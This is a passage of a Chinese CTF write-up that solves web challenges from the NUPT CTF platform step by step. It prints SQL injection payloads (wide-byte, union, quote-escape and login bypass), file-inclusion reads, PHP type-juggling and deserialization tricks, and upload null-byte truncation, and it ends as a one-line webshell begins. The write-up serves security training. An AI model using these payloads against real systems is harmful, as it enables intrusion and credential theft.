nctf-Web

南京邮电大学ctf平台Web题解

签到题

网址:http://chinalover.sinaapp.com/web1/

flag在源代码中

md5 collision

网址:http://chinalover.sinaapp.com/web19/

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

md5值碰撞,get参数a=240610708 即可

签到2

网址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php

提示我们输入口令zhimakaimen

但是源代码限制了输入文本的长度,在浏览器检查将长度修改即可输入完整口令

这题不是WEB

网址:http://chinalover.sinaapp.com/web2/index.html

题目说不是web,看了源代码,抓了包,还真没找出什么,而且后缀名是html

下载下图片,用Notepad打开,发现最后藏了flag…

层层递进

网址:http://chinalover.sinaapp.com/web3/

用检查的network项发现有个404页面:http://chinalover.sinaapp.com/web3/404.html

进去发现源代码里给了提示

将jquery-后的字符一一拼凑就是flag,写个脚本快点

1
2
3
4
5
6
7
8
9
10
11
>>> import re
>>> s = '''<script src="./js/jquery-n.7.2.min.js"></script><script src="./js/jquery-c.7.2.min.js"></script><script src="./js/jquery-t.7.2.min.js"></script><script src="./js/jquery-f.7.2.min.js"></script><script src="./js/jquery-{.7.2.min.js"></script><script src="./js/jquery-t.7.2.min.js"></script><script src="./js/jquery-h.7.2.min.js"></script><script src="./js/jquery-i.7.2.min.js"></script><script src="./js/jquery-s.7.2.min.js"></script><script src="./js/jquery-_.7.2.min.js"></script><script src="./js/jquery-i.7.2.min.js"></script><script src="./js/jquery-s.7.2.min.js"></script><script src="./js/jquery-_.7.2.min.js"></script><script src="./js/jquery-a.7.2.min.js"></script><script src="./js/jquery-_.7.2.min.js"></script><script src="./js/jquery-f.7.2.min.js"></script><script src="./js/jquery-l.7.2.min.js"></script><script src="./js/jquery-4.7.2.min.js"></script><script src="./js/jquery-g.7.2.min.js"></script><script src="./js/jquery-}.7.2.min.js"></script>
'''
>>> match = re.findall(r'jquery-(.)\.',s)
>>> match
['n', 'c', 't', 'f', '{', 't', 'h', 'i', 's', '_', 'i', 's', '_', 'a', '_', 'f', 'l', '4', 'g', '}']
>>> flag = ''
>>> for i in match:
flag = flag + i
>>> flag
'nctf{this_is_a_fl4g}'

AAencode

网址:http://chinalover.sinaapp.com/web20/aaencode.txt

题目给出了提示js 的aaencode

用火狐浏览器打开时会出现乱码,首先按alt打开菜单,在查看的文字编码中选择unicode编码方式,就能得到这样的一串字符

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

经过查询这种编码方式解码后是一串js代码,并且可以不用解码直接丢入浏览器的控制台就可以执行,那么我们就直接丢入控制台执行

执行后提示变量ω゚ノ未被定义,我们定义变量ω゚ノ为空,然后再次输入代码

成功弹出flag

单身二十年

网址:http://chinalover.sinaapp.com/web8/

页面源代码看到链接

但是点击链接自动跳转到no_key_is_here_forever.php

说明有重定向,果断burp抓包

你从哪里来

网址:http://chinalover.sinaapp.com/web22/

貌似从谷歌页面访问该页面才能拿到flag

用burp抓包修改Referer字段值为https://www.google.com即可拿到flag

php decode

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

一个加密的程序,直接执行就可以

结果

文件包含

网址:http://4.chinalover.sinaapp.com/web7/index.php

看到file参数,很明显的文件包含,直接用php://filter协议读出index.php源代码

解密后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

看到flag

单身一百年也没用

网址:http://chinalover.sinaapp.com/web9/

还是重定向,抓包

flag藏在响应头部

网址:http://chinalover.sinaapp.com/web10/index.php

提示login first,burp抓包修改cookie中的login=1

拿到flag

MYSQL

网址:http://chinalover.sinaapp.com/web11/

页面提示robots.txt

那我们就访问http://chinalover.sinaapp.com/web11/robots.txt

发现提示了源代码和sql.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>

发现intval函数,作用是将字符串中的整数值取出,并且取出的字符串开始部分的整数值,如intval(1024a1)=1024

intval(a1)=0

并且有了intval函数,我们就没办法对参数id进行sql注入

并且服务器对GET的参数id进行过滤,经过php弱类型比较,如果等于1024,则退出程序

猜测flag就在id为1024里,所以我们思路是让GET的参数id经过intval函数处理的值为1024,但是弱类型比较不等于1024

我们知道php弱类型比较两个值是先将这两个值转化为同一类型,这里是字符串与整形的弱类型,就将字符串转化为整形,也是将字符串的整数值部分取出,与intval函数类似,除了处理”e”,”.”,”E”

举个例子

1
2
3
4
5
6
7
8
9
10
<?php

$id = intval("1024e1") //$id=1024
"1024e1" == 1024 //false
"1024e1" == 10240 //true
$id = intval("1024.1") //$id=1024
"1024.1" == 1024 //false
"1024.1" == 1024.1 //true

?>

那么就很明显,我们可以GET参数id=1024e1或者1024.1,都能拿到flag

sql injection 3

网址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

页面显示了执行的sql语句和返回的信息,很明显的注入点在id,数字型注入且从sql语句看id被单引号包裹

输入id=1’

发现单引号被转义了,猜测是宽字节注入,输入id=1%df%27%23,正确返回信息,就可以开始注入了

sql语句就提示了news表,先看一下news表下的列名

输入id=0%df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6e657773 %23

列名为id和title

输入id=0%df%27%20union%20select%201,group_concat(title)%20from%20news%23

注出title信息

没有发现flag

那再看看其他表

输入id=0%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

表名为ctf,ctf2,ctf3,ctf4,news

看看ctf表下的列名

列名为user,pw

看看ctf2表下列名

列名为id,content

看看ctf3表下列名

列名为id,email,token

最后ctf4表下列名

看到flag列

看看flag列下信息

拿到flag

/x00

网址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

给出了源代码

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

看到ereg函数就想起了%00(NULL)截断,而且ereg和strpos处理数组都会返回null值,null不全等于False,所以直接输入nctf[]即可获得flag

或者是输入nctf=1%00%23biubiubiu,这里#要用%23代替

也可以得到flag

bypass again

网址:http://chinalover.sinaapp.com/web17/index.php

依然是md5碰撞

GET参数a=240610708&b=QNKCDZO

变量覆盖

网址:http://chinalover.sinaapp.com/web18/index.php

看到提示代码http://chinalover.sinaapp.com/web18/source.php

给出了源代码

1
2
3
4
5
6
7
8
9
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

extract函数的作用是将数组中的键名作为变量名,键值作为变量值,那么思路就很清晰了,我们post两个参数pass和thepassword_123,给这两个变量赋值相同,就可以拿到flag了

伪装者

网址:http://chinalover.sinaapp.com/web4/xxx.php

提示本地登录才行,利用burp抓包添加X-Forwarded-For:127.0.0.1即可,但这里题目坏了,改了也拿不到flag

上传绕过

网址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

文件上传题目,因为是html页面,所以先看看源代码

发现上传到upload.php,而且同时上传了一个隐藏值

1
<input type="hidden" name="dir" value="/uploads/" />

访问upload.php,提示我们只能上传jpg,png,gif格式文件

先试着上传一个png文件

提示必须上传php格式文件

再试着上传php文件

提示上传不了,看一下二者共同有的信息是一个数组Array,里面有文件名后缀,推测是先对文件后缀名检测,如果不是jpg,png,则过滤

试着burp抓包修改文件名为demo.png.php

很明显服务器是最后的后缀名检测,再尝试php5,Php等都不行

所以只能后缀名是png,jpg的文件才能成功上传,然后我们需要想办法让服务器认为这是一个php文件

上传png文件后的信息看到了basename,猜测跟目录有关,basename这个函数是将路径中的文件名取出,并且我们之前查看源代码也看到了提交了隐藏的目录信息

我们先试着修改目录,将/uploads/修改成/uploads/demo.php

发现文件名也跟随着目录值而改变了,所以我们猜测服务器就是根据basename后的文件名进行检测是不是php文件

经过查询,basename是可以用十六进制的00截断的

我们将/uploads/修改成/uploads/demo.php (后面有个空格)

然后在burp的Hex中将对应的20(空格)修改成00

成功拿到flag

SQL注入1

网址:http://chinalover.sinaapp.com/index.php

http://chinalover.sinaapp.com/index.phps给出了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

从源代码看出用户名为admin,且密码是正确的密码才能返回flag

但是对我们POST的参数user毫无过滤,我们只需要POST参数user=admin’)#即可获得flag

pass check

网址:http://chinalover.sinaapp.com/web21/

给出了源代码提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

拿到flag的条件是strcmp()函数返回0,即两个变量比较结果相等,我们不知道$pass1变量的值,但是strcmp函数处理数组时会返回NULL

所以我们POST参数pass[]=

即可拿到flag

起名字真难

网址:http://chinalover.sinaapp.com/web12/index.php

给出了源代码提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

对我们GET的参数key进行了检查,不能包含[1-9]任意一个字符,否则就拿不到flag,key值要等于54975581388,可以考虑转化为十六进制,54975581388 的十六进制为0xccccccccc

输入key=0xccccccccc

拿到flag

php 反序列化

这题服务器崩了,只能本地搭环境演示

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

首先创建了一个类,然后接受GET参数pass,并且对pass进行了去掉转义的处理,get_magic_quotes_gpc()是检查是否对变量有转义处理,如果返回1则说明有转义处理,那么执行stripslashes函数,去掉转义,然后对pass参数进行反转义处理,然后检查对象o的secret变量是否全等于对象o的enter变量,如果相等则输出flag,可是我们不知道enter变量的值,所以我们可以考虑使用引用处理

例如$a =& $b,则$a和$b指向同一个值,当$a的值变化时,$b的值也随之变化

1
2
3
4
5
6
7
8
9
10
11
<?php


$a =& $b;
$a = 1;
echo '$b='.$b; //$b=1
echo '<br>';
$b = 2;
echo '$a='.$a; //$a=2

?>

所以我们使$o->enter =& $o->secret

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class just4fun {
var $enter;
var $secret;
}

$o = new just4fun();
$o->enter =& $o->secret;
$pass = serialize($o);
echo $pass;

?>

拿到序列化的$pass,然后将这个pass GET给服务器

成功拿到flag

sql injection 4

网址:http://chinalover.sinaapp.com/web15/index.php

给出了源代码提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
?>

首先需要了解htmlentities() 函数:把字符转换为 HTML 实体

而htmlentities($str, ENT_QUOTES); 是 转换双引号和单引号

我们看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
echo '$username='.$username;
echo '<br>';
echo '$password='.$password;
echo '<br>';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
echo $query;

?>

我们试着GET参数username=’admin’,password=”1”

在浏览器页面上看还是单引号和双引号,而看下源代码

发现就不是原来的单引号和双引号了,相等于转变成了其他字符,而我们要进行sql注入,就必须闭合单引号

既然没办法通过输入单引号来闭合单引号,那么还可以通过转义单引号的方法

试着输入username=,password= or 1=1 %23


可以此时的sql语句是

1
SELECT * FROM users WHERE name='\' AND pass=' or 1=1#';

可以看到一个单引号被转义,name=后的单引号和pass=后的单引号闭合了,我们再构造or 1=1语句构造恒真语句

这样就必定有查询结果

最后拿到flag

综合题

网址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php

页面是一串jsfuck代码,拿到解码网站解码后结果是1bc29b36f623ba82aaf6724fd3b16718.php

访问http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php

页面显示提示在脑袋里,马上抓包看看响应头,发现tip: history of bash

查询bash:Bash shell在“/.bash_history”(“/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。

那么我们访问http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

发现命令zip -r flagbak.zip,解压过压缩包,那我们访问http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip下载压缩包

获得flag is:nctf{bash_history_means_what}

SQL注入2

网址:http://4.chinalover.sinaapp.com/web6/index.php

给出了源代码提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

拿到flag条件是查询的结果和我们POST的参数pass的md5值一样,服务器对我们post的参数user没有过滤,根据提示,我们使用union注入控制查询结果,使之和pass的md5值相等

payloads:user=’ union select md5(1)#&pass=1

拿到flag

综合题2

网址:http://cms.nuptzj.cn/

题目给出了提示这题不是xss,浏览源代码,发现说明文件http://cms.nuptzj.cn/about.php?file=sm.txt

看到file参数,猜测可能存在文件包含漏洞,试着用php://fileter读取about.php源代码

解码得about.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

再看看say.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say==""){
echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
echo "<script>alert('昵称已被使用,请更换!');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>';
?>

对我们输入的参数都加以转义,没什么漏洞,继续看看还有什么文件,再源代码中还发现了so.php文件

看看它的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

我们看到这里的参数id虽然被mysql_real_escape_string函数处理过,但是在sql语句中是参数id是没有被引号包裹的,但是id经过自定义函数antiinject处理,这个函数在so.php未被定义,猜测可能定义在包含的文件antiinject.php中,我们再读取它的源代码:

1
2
3
4
5
6
7
8
9
10
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

很明显的一个过滤函数,通过str_replace函数过滤一些关键字,但是str_replace函数只需要双写就可以绕过,但是这里还过滤了空格,mysql中注释符/**/可以代替空格

这里还需注意将请求头的User-Agent字段修改为Xlcteam Browser

那么我们就可以愉快的注入了,首先POST参数soid=1,发现有查询结果,那么就可以注出查询返回列数

soid=1//oorrdoorrderer//by/**/4有查询结果

soid=1//oorrdoorrderer//by/**/5无查询结果,返回列数为4

soid=0时无查询结果,用union注入

soid=0//uunionnion//sselectelect/**/1,2,3,4

返回的列在2,3位置

soid=0//uunionnion//sselectelect/**/1,database(),3,4爆库

库名为sae-exploitblog

根据之前说明文本的提示表admin的结构

soid=0//uunionnion//sselectelect//1,(sselectelect//usernnameame//ffromrom//aadmindmin),(sselectelect//userppassass//ffromrom/**/aadmindmin),4

注出用户名admin和密码102 117 99 107 114 117 110 116 117

这里密码还经过函数antixss处理过,保险起见还是再读取一下antixss.php的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>

大概是过滤一些html标签关键字,我们注出的密码应该只是经过 htmlspecialchars函数处理,没有什么影响

那么得到用户名和密码,大概是要进入一个登陆界面

这时注意到about.php文件中过滤了关键字loginxlcteam

就试着访问http://cms.nuptzj.cn/loginxlcteam

没想到就访问到了登陆界面

我们试着将注出的用户名和密码输入,提示错误

此时回去看看说明的文本,里面提示了密码加密文件passencode.php

猜测可能密码有经过加密,我们先读取passencode.php 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

看了加密的源代码,很明显我们注出的密码102 117 99 107 114 117 110 116 117是经过加密的,我们根据加密的过程写出解密的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

function passdecode($pass){
$arr = explode(" ",$pass);
$content = "";
for($i=0;$i<count($arr);$i++){
$content = $content.chr($arr[$i]);
}
return $content;
}

$pass = "102 117 99 107 114 117 110 116 117";
$content = passdecode($pass);
echo $content;

?>

执行结果:fuckruntu

再次在登录界面输入用户名admin,密码fuckruntu

提示我们还差最后一步,并且提示将一句话木马放在网站根目录下的xlcteam.php文件中

既然在根目录下,我们还是可以在about.php中读取源代码

1
2
3
4
5
<?php
$e = $_REQUEST['www'];
